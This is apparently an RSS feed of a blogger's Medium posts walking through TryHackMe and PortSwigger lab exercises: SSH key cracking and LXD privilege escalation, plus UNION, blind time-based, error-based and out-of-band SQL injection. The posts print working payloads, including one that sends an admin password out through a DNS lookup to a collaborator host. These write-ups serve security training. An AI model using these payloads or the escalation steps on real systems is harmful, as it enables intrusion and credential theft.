<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hafsa on Medium]]></title>
        <description><![CDATA[Stories by Hafsa on Medium]]></description>
        <link>https://medium.com/@hafsasaif098?source=rss-1d70f632bb1a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*MfUAF9fFRLiuchpx</url>
            <title>Stories by Hafsa on Medium</title>
            <link>https://medium.com/@hafsasaif098?source=rss-1d70f632bb1a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 20:24:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hafsasaif098/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe “Gaming Server” Walkthrough]]></title>
            <link>https://medium.com/@hafsasaif098/tryhackme-gaming-server-walkthrough-0c30a27f51ba?source=rss-1d70f632bb1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c30a27f51ba</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[lxd]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Hafsa]]></dc:creator>
            <pubDate>Wed, 16 Sep 2026 14:53:38 GMT</pubDate>
            <atom:updated>2026-09-16T15:16:18.834Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Room </em><a href="https://tryhackme.com/room/gamingserver"><em>Gamming Server</em></a><em> | Difficulty:Easy</em></p><p>This is a walkthrough of Tryhackme room Gaming Server CTF.</p><p>First of all, Start the machine and attackbox (if you are using that) otherwise you can also use your own attacking machine. If you don’t know how to connect to tryhackme network with your attacking machine you can visit <a href="https://tryhackme.com/room/openvpn"><strong>https://tryhackme.com/room/openvpn</strong></a> .</p><p><strong>Tools used: nmap, gobuster,ssh2john, john, lxd-alpine-builder.</strong></p><p>We will run an nmap scan on the ip address that we got and see what comes up.</p><pre>nmap -sV -A -T4 &lt;IP-ADDRESS&gt;</pre><p><strong>Nmap </strong>is free and open source tool which is used to discover what ports are open and services running on a network.</p><ul><li>-sV is a flag it reveal what version of service is running like ssh v1 or v2.</li><li>-A gives mostly every important information we need for the attack</li><li>-T4 tells nmap to do an aggressive scan (fast) but do not use this flag if you don’t have permission to test. This is a CTF so we can use it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*AybjFPCd4OaPV9Qlj9y9Dw.png" /></figure><p>The scan shows that there is tcp port open for ssh and also a websitse running on http port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FYpQh-eATRe5pw1KEnOoUw.png" /></figure><p>This is the website, I explored it and found nothing useful except a name <strong>‘john’ </strong>in the source code which might be useful when logging in thorugh ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*vFagcQzQY8dgHRr7V0QaiQ.png" /></figure><p>Now we will discover hidden directories on the websites, which we were not able to find through manual testing.</p><pre>gobuster dir -u http://&lt;IP-ADDRESS&gt;/ -w /usr/share/wordlists/dirb/common.txt -e</pre><p><strong>gobuster</strong> is a free tool used to bruteforce and discover hidden files, directories and subdomains. This payload will use the wordlist common.txt which has common names of directories and files and insert each one by one in <em>http://&lt;IP-ADDRESS&gt;/</em></p><ul><li><strong>dir</strong> it tells the gobuster to find hidden directories on this webs server.</li><li><strong>-u </strong>specifies the URL of the web server.</li><li><strong>-w</strong> specifies the wordlist for the attack</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*ISnN_DnODeLKttOs2GNYwg.png" /></figure><p>The attack is done and there is something interesting: /uploads, /robots.txt, /secret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*Ld4E0ZPc9H7iMaydsiSwfg.png" /></figure><p>So in the <strong><em>/secret</em></strong> directory there is a file called secretKey which apparently is an ssh RSA key. It is used to connect to a remote server without a password. This should never be reveal to the public.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*m6LBeveNx6QR3TRUsE1G8w.png" /></figure><p>Get the key in your computer.</p><pre>wget http://&lt;IP-ADDRESS&gt;/secret/secretKey</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1I3upFqJqrkQYP-GxhZcyA.png" /></figure><p>In the uploads directory there is a dictionary list download this also.</p><pre>wget http://&lt;IP-ADDRESS&gt;/uploads/dict.lst</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*4a0aiFc8SbpscoYn6eu9UQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahAUa9-2-l--GkX5WfDMXA.png" /></figure><p>Now if you look we have everything we need to connect to ssh server on the victim ip address.</p><ul><li>We cannot use the RSA key directly in bruteforce aatack. So we convert the RSA key into hash format by using <em>ssh2john</em> so johntheripper can use it.</li><li>Use dict.lst to bruteforce the hash and get the passphrase.</li><li>Connect to victim server.</li></ul><p><strong>Run them one by one.</strong></p><pre>ssh2john secretKey &gt; HASH.txt<br>john --wordlist=dict.lst HASH.txt<br>john --show HASH.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*xfIRicwfKoUJCxk_zDolrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*sXtejJxQRmricagorVrCqw.png" /></figure><p>The passphrase is <strong>letmein</strong></p><p>Check the permissions of the RSA file. Only root should have read and write permissions not random users. Otherwise it will say file is not protected and will not work.</p><pre>ls -al secretKey (lsit the permissions of file)<br>chmod 600 secretKey (give read and write permission to only root)<br>ls -al secretKey</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*NgNy4N2ZcjAaE5bZrGDK_w.png" /></figure><pre>ssh -i secretKey john@&lt;IP-ADDRESS&gt; <br>(we know there is someone named john <br>on the server because we read the source code)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*tm7GTSJ6CYr8BSSws-CblQ.png" /></figure><p>We got the user.txt flag. Now we need to find root.txt.</p><p>I ran “<strong>id” </strong>to find what permissions we have and what command we can execute as user john and found that we are part of <em>lxd</em> group, meaning we can create or manage containers which can lead to privilege escaltion to root. lxd runs as root in the background so if we use lxc commands it will execute as root not as john.</p><p>We will use a free tool called <strong>“lxd alpine builder” </strong>to mount root entire filesystem.</p><p>I already have it in my machine but you can follow these steps:</p><pre>HOST MACHINE:<br>git clone https://github.com/saghul/lxd-alpine-builder<br>cd lxd-alpine-builder<br>sudo ./build-alpine<br>python3 -m http.server 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*KdwlPk3Fwmi5JCiMd8e7Dw.png" /></figure><pre>VICTIM MACHINE:<br>wget http://attacking-ip/alpine-v3.22-x86_64-20250716_2213.tar.gz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wPMZBNkFPePOnT-Gmuw0lA.png" /></figure><p>Run all of these:</p><pre>lxc image import alpine-v3.22-x86_64-20250716_2213.tar.gz --alias myimage<br>lxc image list<br>lxc init myimage ignite -c security.privileged=true<br>lxc config device add ignite mydevice disk source=/ path=mnt/root recursive=true<br>lxc start ignite<br>lxc exec ignite /bin/sh<br><br>cd /mnt/root<br>cat root/root.txt</pre><p><strong>Now what exactly does these payloads do?</strong></p><ol><li>First it import alpine linux image into lxc (linux containers).</li><li>confirm that it worked by listing existing image</li><li>Creates a privileged container which runs as root (security.privileged=true).</li><li>Mount the host=root entire filesystem to mnt/root. Mounting means attaching a storage filesystem to a folder so we can view all of its contents in that specific folder. Here lxc will mount root entire files<strong>(which also include root.txt) </strong>to the folder mnt/root.</li><li>Start the container</li><li>Get root shell in the container</li><li>Now every command will run as root. Change the directory to /mnt/root and see content inside root.txt.</li></ol><p>We own the machine at this point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JPAuI5fHqd97637iEDGfQw.png" /></figure><p>This was a CTF but including random users in lxd group can lead to severe damages including changing permissions and revealing passwords. It’s important to give only necessary access to low-privileged users and keep your SSH RSA key private.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c30a27f51ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL injection with filter bypass via XML encoding]]></title>
            <link>https://medium.com/@hafsasaif098/sql-injection-with-filter-bypass-via-xml-encoding-e918119ca49a?source=rss-1d70f632bb1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e918119ca49a</guid>
            <category><![CDATA[blind-sql-injection]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[xml]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Hafsa]]></dc:creator>
            <pubDate>Fri, 21 Aug 2026 13:19:40 GMT</pubDate>
            <atom:updated>2026-08-21T13:42:21.777Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a walkthrough of PortSwigger <strong>Lab: SQL injection with filter bypass via XML encoding.</strong></p><p>This lab has an SQL vulnerability in the stock check feature and results from the query are displayed on the page so we can use UNION attack to reveal contents of other tables too.</p><h3>Useful info:</h3><ul><li><strong>information_schema.tables:</strong> default table in every database which has information of every table present.</li><li><strong>information_schema.columns:</strong> default table in every database which has information of every column present.</li></ul><p>Lets login as admin!</p><p>Click on any product and check the stock make sure to capture the request and send it to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*s5didt-uTr0VJxInz0hCDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*II2nPHozSt48DSUwcvp7rw.png" /></figure><p>We can see that this has xml encoding. I added an apostrophe after 3 in store Id tag to check for testing and the response came “Attack detected”. It is confirmed that our input is being interpreted as SQL query. But the website’s firewall is detecting and blocking the characters that indicate a sign of an SQL attack. So we have to come up with another way for the query to not detect us and still run our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*e9aQ0TvnZUrIIDflOj0nFg.png" /></figure><p>“UNION SELECT NULL” this payload check how many column the original query has. In our case it checks how many columns are there in the store id query. The additional query that we are adding must match the number of columns and data type in original query.</p><p>NULL is used becuase it fits in every data type, reducing the chances of error. We add one NULL after another representing the column number.</p><pre>Example: UNION SELECT NULL<br>         UNION SELECT NULL, NULL<br>         UNION SELECT NULL, NULL, NULL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*vaXlOeyMdKQlOXuzCExnkg.png" /></figure><p><strong>UNION </strong>and<strong> SELECT</strong> are obvious SQL string so it is bound to be detected. I URL encoded the S and U, but the page loaded normally. NO error, no detection nothing.</p><p>Then I decided to try XML encoding.</p><pre>&amp;#x55;NION &amp;#x53;ELECT NULL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*93XX08jqVqGxmd3MOMFFHg.png" /></figure><p>We got a null in the response, so it means something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IeJVfHpwttqswB5rgB1T1Q.png" /></figure><pre>&amp;#x55;NION &amp;#x53;ELECT NULL,NULL</pre><p>1 null → null in response. 2 null → nothing.</p><p>With this we conclude that the original query has 1 column. we will put the name of the table, column or whatever we want to reveal in the place of NULL. If the query had 2 columns we would do something like, Ex: UNION SELECT NULL, username from users.</p><h3><strong>Why did XML encoding worked but not URL?</strong></h3><p>In simple words, URL encoding gets decoded early and gets detected in the application filter. So the website just silently ignore or sanitize it before it even reaches the SQL database. On the other hand XML passes the application filter and gets decoded just before reaching the SQL making the payload to execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*9IDmG-gWYr5VQp8KM4k1jw.png" /></figure><pre>With encoding: &amp;#x55;NION &amp;#x53;ELECT * FROM information_schema.tables WHERE table_name=&amp;apos;users&amp;apos;<br>Without encoding: UNION SELECT *FROM information_schema.tables WHERE table_name=&#39;users&#39;</pre><p>The query tells the database to select everything from a table called information_schema.tables where table name is users. We only know that there is a table called users but we don’t know the names of the columns.</p><p><strong>“It didn’t work because we are telling it to retrieve everything( * represnts everything) but the original query has only 1 column”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*wV_UfkCUtbwPra2dkxg7eg.png" /></figure><pre>&amp;#x55;NION &amp;#x53;ELECT column_name FROM information_schema.columns WHERE table_name=&amp;apos;users&amp;apos;</pre><p>This payload select column name from information_schema.columns where the table name is users. Names of the columns are revealed: email, username and administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*Hbz3Pe8B7X4ZrkuDUMfH3A.png" /></figure><pre>&amp;#x55;NION &amp;#x53;ELECT username FROM users </pre><p>The name of admin user is ‘administrator’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*38RtAhugY-tw5teFnl58xw.png" /></figure><pre>&amp;#x55;NION &amp;#x53;ELECT password FROM users WHERE username=&amp;apos;administrator&amp;apos;</pre><p>The password is displayed in plain text. Now login and solve the lab.</p><p>There were problems I faced while solving the lab, Like using url encoding instead of xml. I had to search and find why the url was not working.</p><p>Second problem I faced was when I was retrieving the column name, I was telling it to display every column from information_schema.tables instead of information_schema.columns which was very dumb of me. The mistake is not in the steps above.</p><p><strong>Conclusion: This lab matters because most websites only defend against URL encoding and only some obvious signs of attack but attackers do find a way around, which becomes a threat to thier security. To prevent this, a system should have the most reliable detection mechanism and sanitize any xml user input.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e918119ca49a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Out-of-band Sql Injection]]></title>
            <link>https://medium.com/@hafsasaif098/out-of-band-sql-injection-a319bba8a498?source=rss-1d70f632bb1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a319bba8a498</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[out-of-band-interaction]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[sql]]></category>
            <dc:creator><![CDATA[Hafsa]]></dc:creator>
            <pubDate>Thu, 20 Aug 2026 10:54:51 GMT</pubDate>
            <atom:updated>2026-08-20T11:31:22.010Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uoDTN716rjnVoQIxKh7y6g.png" /></figure><p>This is a CONCEPTUAL walkthrough of Portswigger Lab: Blind SQL injection with out-of-band interaction.</p><p><strong>Note: To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.</strong></p><p>Burp collaborator is not included in burp suite community edition. Currently I don’t have Pro version so I can’t solve the lab. But I will be guiding you and clearing your concept about what is out-of-band and its techniques.</p><h3>Out-of-band</h3><p>It is a networking term used to refer a connection made from a different route than usual. By this means, accessing a server but with a private frequency rather than using default one. OOB method is used to exfiltrate data and make the website to leak information to us through the DNS request we launch.</p><h3>OAST</h3><p>Out-of-band application security testing (OAST) is a popular method to test for loopholes in system, understanding what is happening outside of the system and how it interacts with third party servers like DNS and https.</p><p>When a parameter or an endpoint of a website is vulnerable to SQL injection but the website works normally after injecting a query, visible error and time based sql injection does not work because the application response does not depend on whether the query returns data, through an error or delay the respnse. We opt for out of band SQL injection. We can make the website to perform a DNS lookup on the specified domain or extract critical information.</p><p>Now, Why do even website allow external network reachability?</p><p>They don’t deliberately ask the attacker to come and look inside their database. Modern websites are much more complicated they need DNS resolution to contact external APIs, the website might need to load files. Some administrators monitor and manage the infrastructure through an ethernet network so they need a private connection and attackers take advantage of that.</p><h3>How to do it?</h3><ul><li>You need a controlled server or you can use burp suite collabrator (Pro version) and a unique domain to catch external interactions.</li><li>A vulnerable parameter</li><li>A Compatible payload depending on the database.</li><li>And lastly a listener to log all your calls.</li></ul><p>Here’s what different payloads look on the backend:</p><p>In Lab 1, we only have to detect the vulnerablity with the help of these.</p><p><strong>Payloads from Port Swigger sql injection cheat sheet.</strong></p><pre>Microsoft: exec master..xp_dirtree &#39;//BURP-COLLABORATOR-SUBDOMAIN/a&#39;</pre><pre>PostgreSQL(Microsoft only): copy (SELECT &#39;&#39;) to program &#39;nslookup BURP-COLLABORATOR-SUBDOMAIN&#39;</pre><pre>MySQL: LOAD_FILE(&#39;\\\\BURP-COLLABORATOR-SUBDOMAIN\\a&#39;)<br><br>       SELECT ... INTO OUTFILE &#39;\\\\BURP-COLLABORATOR-SUBDOMAIN\a&#39;</pre><p>First open up the burp collabrator or you can use your own server, inject the payload with the unique domain into the vulnerable place and wait for the application to make the connection and check for the listener logs to make sure it worked.</p><p>In Lab 2, we also have to make the website to give us the admin password. Meaning actually exfiltrating data and not just detection.</p><p>If you are also doing the second lab of this topic then you can take help from this payload.</p><pre>&#39;; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username=&#39;Administrator&#39;);exec(&#39;master..xp_dirtree &quot;//&#39;+@p+&#39;.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a&quot;&#39;)--</pre><p>This is an example, I am not sure if this will work as it is because database might be different. I have not interacted with the lab myself, you know the reason. If it does not work, modify it according to the condition.</p><p>This payload is different from ones on the above because the value which is being exfiltrated becomes part of the domain and shows up seperately on your logs. After capturing the password look for it in the logs. Solve both of the labs on this topic if you have pro version.</p><p>OOB is useful in many aspects but it also become one of the reasons attackers can violate a system. Every website and server should not allow external connections to be made in the first place. if it is necessary make sure it authorizes only the authenticated private channels.</p><p>Honestly, this concept was more difficult for me to grasp as I understand things well practically. But I asked questions like “why this or that” more throughout the whole process, which is a good thing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a319bba8a498" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind SQL injection with time delays and information retrieval Lab]]></title>
            <link>https://medium.com/@hafsasaif098/blind-sql-injection-with-time-delays-and-information-retrieval-lab-214418dc0f5f?source=rss-1d70f632bb1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/214418dc0f5f</guid>
            <category><![CDATA[blind-sql-injection]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Hafsa]]></dc:creator>
            <pubDate>Tue, 11 Aug 2026 11:22:20 GMT</pubDate>
            <atom:updated>2026-08-11T12:09:15.266Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the walkthrough of portswigger lab: <strong>Blind SQL injection with time delays and information retrieval.</strong></p><p>Before jumping into how to solve this lab we will go through a short concept of what exactly is time delay and how we can use it to our advantage to retrieve confidential information.</p><p>Every request sent to the server and the response received by the server takes a specific amount of time to travel, and when a website is taking more time than it should, we assume that there is something wrong with the network connection or any other possible reason we can think of.</p><p>But what if we make the website to delay the response if it satisfies our condition. We can do that if that website has sql vulnerablity.</p><p>This lab has a blind sql vulnerblity in the tracking id query. It does not reveal the information openly and loads as a normal page. We will play smartly and come up with payloads that can tell us about the data.</p><p>As we know there is a user named ‘administrator’ in the users table with columns: username and password.</p><p>Lets start!</p><p><strong><em>Hint: You can use sql vulnerablity cheat sheet from portswigger.</em></strong></p><p>First capture the request containing the tracking id and send it to repeater. Put an apostrophe at the end of the tracking id, which confirms that the page loads normally and does not show a syntax error because it is blind sql.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*VaBQ9MIapjFA-FpgpmmRqg.png" /></figure><p><strong>“This lab has Postgre sql database. I found out after trying multiple payloads.”</strong></p><p>I tried many payloads which triggers the time delays but nothing was working the page wasn’t taking longer to respond instead it was instantly loading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1h1XT8DUWZ0VpY4HrYy6w.png" /></figure><p>This is the payload I was trying.</p><pre>&#39;;+SELECT+pg_sleep(10)--</pre><p>Lets understand what does this actually do:</p><ul><li>‘ this apostrophe closes the tracking id string.</li><li>; the semicolon terminates the query so we can add another one of our own.</li><li>SELECT pg_sleep(10) is the standard sql query to trigger time delay of 10 sec.</li><li>- -comment out the rest of the query.</li></ul><p>Technically this payload is correct but the web server is interpretating the semicolon as the end of the tracking id parameter. So after the ; everything gets dropped or ignored. We have to enocde the semicolon so the server treats it as the part of the query.</p><pre>&#39;%3b+SELECT+pg_sleep(10)--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*heQ9HkJXma55ddf44zxDYA.png" /></figure><p>Now compare the timings of these pictures the second one took a little more than 10 seconds, which confirms the vulnerability.</p><pre>&#39;%3b+SELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--</pre><p>This payload specifies a condition, if the provided condition is true it will execute the time delay of 10 seconds. If the condition is false like 1=2 instead of 1=1 then it will execute pg_sleep(0) (no time delay) and it will end.</p><p>You can check and see it delays the response for 10 seconds.</p><pre>&#39;%3b+SELECT+CASE+WHEN+(username=&#39;administrator&#39;+AND+LENGTH(password)&gt;10)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--</pre><p>We have all the information needed we just need to find the length of the password and the password itself.</p><p>It will check that whether there is a user named ‘administrator’ in the users table and is the length of its password greater than 10 characters, if it is true it will execute pg_sleep(10).</p><p><strong>Note: Most of the lab in port swigger that I have come cross has password of 20 characters.</strong></p><pre>&#39;%3b+SELECT+CASE+WHEN+(username=&#39;administrator&#39;+AND+LENGTH(password)=20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--</pre><p>Same in this case, the password is indeed 20 characters long.</p><p>To find exactly what the characters are we will use this:</p><pre>&#39;%3b+SELECT+CASE+WHEN+(username=&#39;administrator&#39;+AND+SUBSTR(password,1,1)=&#39;m&#39;)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--</pre><ul><li><strong>SUBSTR(password,1,1)</strong> extract the first character of the password and compare it to m if it is true it will trigger the delay.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nfA75rNtpDVHf7gbtMohXg.png" /></figure><p>Now send this request to intruded and highlight the m and click add. Then select bruteforcer from payload type and min and max length 1 and start the attack.</p><p>Intruder will compare the first character of the password from each of the characters in character set.</p><p>Example: Putting ‘a’ in the place of m in first request and comparing it, then putting b in the second request, Whichever character trigger the delay will be the first character of the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*MDd-RMA-RgWGaLijFxzxBg.png" /></figure><p>First character is ‘u’ because it took more time than the others something around 10 sec.</p><p>After finding the first character just change the number from 1 to 2 to find the second one and do this until you get the whole password.</p><pre>&#39;%3b+SELECT+CASE+WHEN+(username=&#39;administrator&#39;+AND+SUBSTR(password,2,1)=&#39;m&#39;)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--</pre><p>Got the password? Now just login.</p><p>This lab is wonderful demonstration of how you can exploit a time-based blind sql vulnerablity. Next I will be wirtting on how to solve the Port Swigger blind sql injection with out of band interaction lab. Stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=214418dc0f5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Visible error-based SQL injection Lab]]></title>
            <link>https://medium.com/@hafsasaif098/visible-error-based-sql-injection-lab-5bf4c8dd5bff?source=rss-1d70f632bb1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bf4c8dd5bff</guid>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[error-based-sql-injection]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[blind-sql-injection]]></category>
            <dc:creator><![CDATA[Hafsa]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 11:54:48 GMT</pubDate>
            <atom:updated>2026-07-06T12:16:19.699Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a walkthrough of PortSwigger Lab: Visible error-based SQL injection lab.</p><p><strong>Verbose error: </strong>verbose usually means information more than necessary or detail wording. Error which gives user information more than it should is called verbose error.</p><p>Sometimes a website gives important data to attackers through verbose error messages, giving away full credentials. If the database is misconfigured, error messages might reveal info of the database which eventually turns Blind Sql Injection to in-band Sql Injection(visible one) where confidential data is compromised.</p><p>We will understand this concept practically by doing hands-on lab of the Port Swigger Academy.</p><p>The website has Sql injection in tracking ID, intercept the request and send it to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*6E6ybTOQny117Plgur7bKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YmQNjGIEkbSryjkEJ9_Nkw.png" /></figure><p>Let’s understand the 2nd picture.</p><p>The Tracking Id query is performed something like this:</p><pre>SELECT * FROM tracking WHERE id=&#39;fjwosljg4go&#39;</pre><pre>SELECT * FROM tracking WHERE id=&#39;fjwosljg4go&#39;&#39;</pre><p>When we put a single quotation mark at the end of query, If the id is being interpreted as code it should give an error because we messed up with the syntax. The website showed a 500 error, at the end of the response there is detail info of the error. We can comment out the rest of the query to get rid of the error.</p><pre>SELECT * FROM tracking WHERE id=&#39;fjwosljg4go&#39;--&#39;<br>(Anything after -- will not be performed)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_r7NMbtI3mXjREEsHCi-bw.png" /></figure><p>Now let’s retrieve interesting data!</p><pre>&#39; AND CAST((SELECT 1)as int)--</pre><ul><li>CAST(): It is a function in Sql which converts one data type to another.</li></ul><p>This payload just select 1 and convert it into an integer. Now the reason we are using the CAST() function is because we might be able to retrieve administrator password from the verbose error it shows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZdci20YBbRmgZ9fPd3guw.png" /></figure><p>As you can see in the picture, we must use a boolean expression (true or false) with AND function.</p><pre>&#39; AND 1=CAST((SELECT 1)as int)--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqRSTRTKaUvhP0hO0-1N5g.png" /></figure><p>We know that there is a username and password column in a table called users with username administrator. Now what if we ask the query to give us username from the users table. Will the username be revealed in the verbose error? Lets find out.</p><pre>&#39; AND 1=CAST((SELECT username FROM users)as int)--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dS723-JBjTEqGIox9owYOg.png" /></figure><p><strong>“Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = ‘xcTkamOaxaDHtJEM’ AND 1=CAST((SELECT username FROM users)as ‘. Expected char”</strong></p><p>This is giving unterminated string error again even after comment but it looks like there is a character limit because<strong> int) — </strong>part<strong> </strong>from the query<strong> </strong>got cutoff. It means there is some kind of validation which only approve of a specific length of characters. We have to come up with a way to reduce the length. We can delete the tracking id, it is not necessary for the website to work we have cookie session id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m2JqW7UU7SnD9wcR5L1D3Q.png" /></figure><p>Now we have another error that says more than one row returned it is because our query is comparing 1 to all of the different username in the users table so we will limit it to compare only one which is the first username.</p><pre>&#39;AND 1=CAST((SELECT username FROM users LIMIT 1)as int)--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03A5HEaRwK2dX9vScXF0ZQ.png" /></figure><p><strong>ERROR: invalid input syntax for type integer: “administrator”</strong></p><p>The error revealed that the first username is indeed ‘administrator’. The query checked is 1 equal to the username administrator? And The CAST() function tried to convert the string administrator to integer which gives the error because the word administrator cannot be converted into integer.</p><p>We just have to replace username with password the query itself will reveal the password, if it is in alphabets. Just like it revealed the user named administrator.</p><pre>&#39;AND 1=CAST((SELECT password FROM users LIMIT 1)as int)--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MrivxDtv4ljf8ucawsNMLg.png" /></figure><p>In a real world scenerio, verbose error messages can lead to compromised user or company data. It is professional to only show the users what is needed and sanitize the user input to avoid any leaks or other attacks.</p><p>We got the password, now log in and the lab is solved!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bf4c8dd5bff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind SQL Injection With Conditional Errors Lab]]></title>
            <link>https://medium.com/@hafsasaif098/blind-sql-injection-with-conditional-errors-203af72c43d6?source=rss-1d70f632bb1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/203af72c43d6</guid>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[blind-sql-injection]]></category>
            <category><![CDATA[portswigger-walkthrough]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <dc:creator><![CDATA[Hafsa]]></dc:creator>
            <pubDate>Sat, 04 Jul 2026 14:03:53 GMT</pubDate>
            <atom:updated>2026-07-04T14:27:44.482Z</atom:updated>
